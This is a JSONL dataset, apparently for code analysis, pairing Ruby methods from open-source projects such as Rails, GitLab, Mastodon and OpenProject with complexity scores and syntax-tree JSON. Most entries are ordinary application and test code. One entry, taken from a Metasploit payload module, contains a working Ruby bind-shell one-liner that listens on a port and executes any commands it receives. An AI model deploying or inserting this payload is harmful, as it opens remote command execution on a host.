\"children\":[\"definitions\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]},\"index_with\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"definitions\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},\"to_json\"]}]}]}]}]}","id":"d6e78155-d4ef-4835-b61d-0f8578e240ae"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/background_migration/feature_category.rb","start_line":53,"raw_source":"def valid_feature_category?(node)\n          feature_category = node.descendants.first.value\n          FeatureCategories.available.include?(feature_category.to_s)\n        end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_feature_category?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"feature_category\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"descendants\"]},\"first\"]},\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FeatureCategories\"]},\"available\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"feature_category\"]},\"to_s\"]}]}]}]}","id":"b30eee2f-a0b9-4cbf-8028-f9ca09ffcc82"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/web/push_subscriptions_controller.rb","start_line":20,"raw_source":"def destroy\n    push_subscription = ::Web::PushSubscription.find_by_token_for(:unsubscribe, params[:id])\n    push_subscription&.destroy\n\n    head 200\n  end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"push_subscription\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Web\"]},\"PushSubscription\"]},\"find_by_token_for\",{\"type\":\"sym\",\"children\":[\"unsubscribe\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"push_subscription\"]},\"destroy\"]},{\"type\":\"send\",\"children\":[null,\"head\",{\"type\":\"int\",\"children\":[200]}]}]}]}","id":"01b8d675-64ce-4e32-a710-50098559ccbc"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/db/migrate/20171118012443_add_moved_to_account_id_to_accounts.rb","start_line":4,"raw_source":"def change\n    add_column :accounts, :moved_to_account_id, :bigint, null: true, default: nil\n    safety_assured { add_foreign_key :accounts, :accounts, column: :moved_to_account_id, on_delete: :nullify }\n  end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"accounts\"]},{\"type\":\"sym\",\"children\":[\"moved_to_account_id\"]},{\"type\":\"sym\",\"children\":[\"bigint\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safety_assured\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"add_foreign_key\",{\"type\":\"sym\",\"children\":[\"accounts\"]},{\"type\":\"sym\",\"children\":[\"accounts\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"moved_to_account_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"nullify\"]}]}]}]}]}]}]}","id":"a4e44169-88cc-4dea-b4a3-2f6a715458b0"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/referential_integrity_test.rb","start_line":38,"raw_source":"def teardown\n    reset_connection\n    if ActiveRecord::Base.lease_connection.is_a?(MissingSuperuserPrivileges)\n      raise \"MissingSuperuserPrivileges patch was not removed\"\n    end\n  end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"teardown\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reset_connection\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"lease_connection\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"MissingSuperuserPrivileges\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"MissingSuperuserPrivileges patch was not removed\"]}]},null]}]}]}","id":"d26c81e2-0cdb-4729-800d-61ff3581673e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/cmd/unix/bind_ruby_ipv6.rb","start_line":41,"raw_source":"def command_string\n    \"#{datastore['RubyPath']} -rsocket -e 'exit if fork;s=TCPServer.new(\\\"::\\\",\\\"#{datastore['LPORT']}\\\");while(c=s.accept);while(cmd=c.gets);IO.popen(cmd,\\\"r\\\"){|io|c.print io.read}end;end'\"\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"command_string\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RubyPath\"]}]}]},{\"type\":\"str\",\"children\":[\" -rsocket -e 'exit if fork;s=TCPServer.new(\\\"::\\\",\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LPORT\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\");while(c=s.accept);while(cmd=c.gets);IO.popen(cmd,\\\"r\\\"){|io|c.print io.read}end;end'\"]}]}]}","id":"3ef6418b-4243-4031-be40-837b723dabfc"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/model_generator_test.rb","start_line":397,"raw_source":"def test_fixtures_respect_reserved_yml_keywords\n    run_generator [\"LineItem\", \"no:integer\", \"Off:boolean\", \"ON:boolean\"]\n\n    assert_generated_fixture(\"test/fixtures/line_items.yml\",\n                             \"one\" => { \"no\" => 1, \"Off\" => false, \"ON\" => false }, \"two\" => { \"no\" => 1, \"Off\" => false, \"ON\" => false })\n  end","complexity_score":2.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_fixtures_respect_reserved_yml_keywords\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_generator\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"LineItem\"]},{\"type\":\"str\",\"children\":[\"no:integer\"]},{\"type\":\"str\",\"children\":[\"Off:boolean\"]},{\"type\":\"str\",\"children\":[\"ON:boolean\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_generated_fixture\",{\"type\":\"str\",\"children\":[\"test/fixtures/line_items.yml\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"one\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"no\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Off\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ON\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"two\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"no\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Off\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ON\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}]}","id":"e4ce2f2a-ec7e-4914-819e-25371519f916"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/tag.rb","start_line":275,"raw_source":"def tidy_short_summary\n    self.short_summary = ActionController::Base.helpers.strip_tags(short_summary)\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"tidy_short_summary\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"short_summary=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionController\"]},\"Base\"]},\"helpers\"]},\"strip_tags\",{\"type\":\"send\",\"children\":[null,\"short_summary\"]}]}]}]}","id":"e0904e55-d5ed-4614-991c-81ad2a0d02ce"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/mailboxes/imap/imap_mailbox.rb","start_line":97,"raw_source":"def find_or_create_contact\n    @contact = @inbox.contacts.from_email(@processed_mail.original_sender)\n    if @contact.present?\n      @contact_inbox = ContactInbox.find_by(inbox: @inbox, contact: @contact)\n    else\n      create_contact\n    end\n  end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"find_or_create_contact\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@contact\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@inbox\"]},\"contacts\"]},\"from_email\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@processed_mail\"]},\"original_sender\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@contact\"]},\"present?\"]},{\"type\":\"ivasgn\",\"children\":[\"@contact_inbox\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ContactInbox\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"inbox\"]},{\"type\":\"ivar\",\"children\":[\"@inbox\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"contact\"]},{\"type\":\"ivar\",\"children\":[\"@contact\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"create_contact\"]}]}]}]}","id":"2a0558d2-8765-4524-8a61-581e134f3ac6"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/callbacks.rb","start_line":585,"raw_source":"def each(&block); @chain.each(&block); end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"each\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@chain\"]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"66a62c77-d01e-415c-aa53-78916a49eb96"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/auto_assignment/inbox_round_robin_service.rb","start_line":59,"raw_source":"def round_robin_key\n    format(::Redis::Alfred::ROUND_ROBIN_AGENTS, inbox_id: inbox.id)\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"round_robin_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Redis\"]},\"Alfred\"]},\"ROUND_ROBIN_AGENTS\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"inbox_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inbox\"]},\"id\"]}]}]}]}]}","id":"ad4ba145-3aef-4109-9fa8-3f2d4f32f4eb"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/contracts/views/base_contract.rb","start_line":81,"raw_source":"def query_permissions?\n      # The visibility i.e. whether a private query belongs to the user is checked via the\n      # query_visible? method.\n      (model.query.public && user_allowed_on_query?(:manage_public_queries)) ||\n        (!model.query.public && user_allowed_on_query?(:save_queries))\n    end","complexity_score":15.8,"ast_json":"{\"type\":\"def\",\"children\":[\"query_permissions?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"query\"]},\"public\"]},{\"type\":\"send\",\"children\":[null,\"user_allowed_on_query?\",{\"type\":\"sym\",\"children\":[\"manage_public_queries\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"query\"]},\"public\"]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"user_allowed_on_query?\",{\"type\":\"sym\",\"children\":[\"save_queries\"]}]}]}]}]}]}","id":"4860fd1c-82f2-4043-9486-071323f48ce7"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/abstract_mysql_adapter/auto_increment_test.rb","start_line":35,"raw_source":"def test_auto_increment_false_with_custom_primary_key\n    @connection.create_table :auto_increments, id: false, force: :cascade do |t|\n      t.primary_key :id, auto_increment: false\n    end\n\n    assert_not_predicate @connection.columns(:auto_increments).first, :auto_increment?\n  end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_auto_increment_false_with_custom_primary_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"create_table\",{\"type\":\"sym\",\"children\":[\"auto_increments\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"force\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"primary_key\",{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"auto_increment\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"columns\",{\"type\":\"sym\",\"children\":[\"auto_increments\"]}]},\"first\"]},{\"type\":\"sym\",\"children\":[\"auto_increment?\"]}]}]}]}","id":"0e58848a-3fb5-48d2-b7c6-01d1ce14bc00"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/post_receive.rb","start_line":20,"raw_source":"def perform(gl_repository, identifier, changes, push_options = {}, params = {})\n    Repositories::PostReceiveWorker.new.perform(gl_repository, identifier, changes, push_options, params)\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"gl_repository\"]},{\"type\":\"arg\",\"children\":[\"identifier\"]},{\"type\":\"arg\",\"children\":[\"changes\"]},{\"type\":\"optarg\",\"children\":[\"push_options\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Repositories\"]},\"PostReceiveWorker\"]},\"new\"]},\"perform\",{\"type\":\"lvar\",\"children\":[\"gl_repository\"]},{\"type\":\"lvar\",\"children\":[\"identifier\"]},{\"type\":\"lvar\",\"children\":[\"changes\"]},{\"type\":\"lvar\",\"children\":[\"push_options\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}","id":"ad147e35-83e1-46f1-b617-17692ee24d70"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/app_generator_test.rb","start_line":1451,"raw_source":"def test_name_option\n    run_generator [destination_root, \"--name=my-app\"]\n    assert_file \"config/application.rb\", /^module MyApp$/\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_name_option\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_generator\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"destination_root\"]},{\"type\":\"str\",\"children\":[\"--name=my-app\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"config/application.rb\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^module MyApp$\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]}","id":"b42512da-a394-4212-890d-4f1ca114bef9"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/workers/work_packages/progress/sql_commands.rb","start_line":315,"raw_source":"def copy_progress_values_to_work_packages\n    results = execute(<<~SQL.squish)\n      UPDATE work_packages\n      SET estimated_hours = temp_wp_progress_values.estimated_hours,\n          remaining_hours = temp_wp_progress_values.remaining_hours,\n          done_ratio = temp_wp_progress_values.done_ratio,\n          derived_estimated_hours = temp_wp_progress_values.total_work,\n          derived_remaining_hours = temp_wp_progress_values.total_remaining_work,\n          derived_done_ratio = temp_wp_progress_values.total_p_complete,\n          lock_version = lock_version + 1,\n          updated_at = NOW()\n      FROM temp_wp_progress_values\n      WHERE work_packages.id = temp_wp_progress_values.id\n        AND (\n          work_packages.estimated_hours IS DISTINCT FROM temp_wp_progress_values.estimated_hours\n          OR work_packages.remaining_hours IS DISTINCT FROM temp_wp_progress_values.remaining_hours\n          OR work_packages.done_ratio IS DISTINCT FROM temp_wp_progress_values.done_ratio\n          OR work_packages.derived_estimated_hours IS DISTINCT FROM temp_wp_progress_values.total_work\n          OR work_packages.derived_remaining_hours IS DISTINCT FROM temp_wp_progress_values.total_remaining_work\n          OR work_packages.derived_done_ratio IS DISTINCT FROM temp_wp_progress_values.total_p_complete\n        )\n      RETURNING work_packages.id\n    SQL\n    results.column_values(0)\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"copy_progress_values_to_work_packages\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"results\",{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE work_packages\\n\"]},{\"type\":\"str\",\"children\":[\"SET estimated_hours = temp_wp_progress_values.estimated_hours,\\n\"]},{\"type\":\"str\",\"children\":[\"    remaining_hours = temp_wp_progress_values.remaining_hours,\\n\"]},{\"type\":\"str\",\"children\":[\"    done_ratio = temp_wp_progress_values.done_ratio,\\n\"]},{\"type\":\"str\",\"children\":[\"    derived_estimated_hours = temp_wp_progress_values.total_work,\\n\"]},{\"type\":\"str\",\"children\":[\"    derived_remaining_hours = temp_wp_progress_values.total_remaining_work,\\n\"]},{\"type\":\"str\",\"children\":[\"    derived_done_ratio = temp_wp_progress_values.total_p_complete,\\n\"]},{\"type\":\"str\",\"children\":[\"    lock_version = lock_version + 1,\\n\"]},{\"type\":\"str\",\"children\":[\"    updated_at = NOW()\\n\"]},{\"type\":\"str\",\"children\":[\"FROM temp_wp_progress_values\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE work_packages.id = temp_wp_progress_values.id\\n\"]},{\"type\":\"str\",\"children\":[\"  AND (\\n\"]},{\"type\":\"str\",\"children\":[\"    work_packages.estimated_hours IS DISTINCT FROM temp_wp_progress_values.estimated_hours\\n\"]},{\"type\":\"str\",\"children\":[\"    OR work_packages.remaining_hours IS DISTINCT FROM temp_wp_progress_values.remaining_hours\\n\"]},{\"type\":\"str\",\"children\":[\"    OR work_packages.done_ratio IS DISTINCT FROM temp_wp_progress_values.done_ratio\\n\"]},{\"type\":\"str\",\"children\":[\"    OR work_packages.derived_estimated_hours IS DISTINCT FROM temp_wp_progress_values.total_work\\n\"]},{\"type\":\"str\",\"children\":[\"    OR work_packages.derived_remaining_hours IS DISTINCT FROM temp_wp_progress_values.total_remaining_work\\n\"]},{\"type\":\"str\",\"children\":[\"    OR work_packages.derived_done_ratio IS DISTINCT FROM temp_wp_progress_values.total_p_complete\\n\"]},{\"type\":\"str\",\"children\":[\"  )\\n\"]},{\"type\":\"str\",\"children\":[\"RETURNING work_packages.id\\n\"]}]},\"squish\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"column_values\",{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"5ced2558-31e2-43dc-a6da-ca4870eb9a8a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/tracking.rb","start_line":44,"raw_source":"def snowplow_micro_enabled?\n        Rails.env.development? || micro_verification_enabled?\n      end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"snowplow_micro_enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"env\"]},\"development?\"]},{\"type\":\"send\",\"children\":[null,\"micro_verification_enabled?\"]}]}]}","id":"ef6914b1-f179-42aa-b732-75f19bab5ce2"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/tag_helper_test.rb","start_line":358,"raw_source":"def test_tag_builder_with_unescaped_array_class\n    str = tag.p \"limelight\", class: [\"song\", \"play>\"], escape: false\n    assert_equal \"<p class=\\\"song play>\\\">limelight</p>\", str\n\n    str = tag.p \"limelight\", class: [\"song\", [\"play>\"]], escape: false\n    assert_equal \"<p class=\\\"song play>\\\">limelight</p>\", str\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_tag_builder_with_unescaped_array_class\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"str\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tag\"]},\"p\",{\"type\":\"str\",\"children\":[\"limelight\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"song\"]},{\"type\":\"str\",\"children\":[\"play>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"escape\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"<p class=\\\"song play>\\\">limelight</p>\"]},{\"type\":\"lvar\",\"children\":[\"str\"]}]},{\"type\":\"lvasgn\",\"children\":[\"str\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tag\"]},\"p\",{\"type\":\"str\",\"children\":[\"limelight\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"song\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"play>\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"escape\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"<p class=\\\"song play>\\\">limelight</p>\"]},{\"type\":\"lvar\",\"children\":[\"str\"]}]}]}]}","id":"b7eec949-1b54-43b6-b610-6fdeddc39f39"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/stock/package.rb","start_line":7,"raw_source":"def initialize(stock_location, contents = [])\n        @stock_location = stock_location\n        @contents = contents\n        @shipping_rates = []\n      end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"stock_location\"]},{\"type\":\"optarg\",\"children\":[\"contents\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@stock_location\",{\"type\":\"lvar\",\"children\":[\"stock_location\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@contents\",{\"type\":\"lvar\",\"children\":[\"contents\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@shipping_rates\",{\"type\":\"array\",\"children\":[]}]}]}]}","id":"e0e878c6-455c-4282-b0f4-67118c6269a8"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/common/topological_sorter.rb","start_line":79,"raw_source":"def sort_queue!(queue)\n      queue.sort_by! { |node| [get_priority(node), node.name] }\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"sort_queue!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"queue\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"queue\"]},\"sort_by!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_priority\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"name\"]}]}]}]}","id":"ae2caaff-6170-4234-98fe-baa3485c7d1a"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/work_packages/filter/duration_filter.rb","start_line":37,"raw_source":"def where\n    if operator == Queries::Operators::None.to_sym.to_s\n      <<~SQL.squish\n        #{super}\n        OR #{WorkPackage.table_name}.duration = 0\n        OR #{Type.table_name}.is_milestone = TRUE\n      SQL\n    else\n      <<~SQL.squish\n        #{super} AND #{Type.table_name}.is_milestone = FALSE\n      SQL\n    end\n  end","complexity_score":11.9,"ast_json":"{\"type\":\"def\",\"children\":[\"where\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"operator\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Queries\"]},\"Operators\"]},\"None\"]},\"to_sym\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"OR \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackage\"]},\"table_name\"]}]},{\"type\":\"str\",\"children\":[\".duration = 0\\n\"]},{\"type\":\"str\",\"children\":[\"OR \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Type\"]},\"table_name\"]}]},{\"type\":\"str\",\"children\":[\".is_milestone = TRUE\\n\"]}]},\"squish\"]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\" AND \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Type\"]},\"table_name\"]}]},{\"type\":\"str\",\"children\":[\".is_milestone = FALSE\\n\"]}]},\"squish\"]}]}]}","id":"60f72778-e939-435f-9787-f0238a97c2b3"}
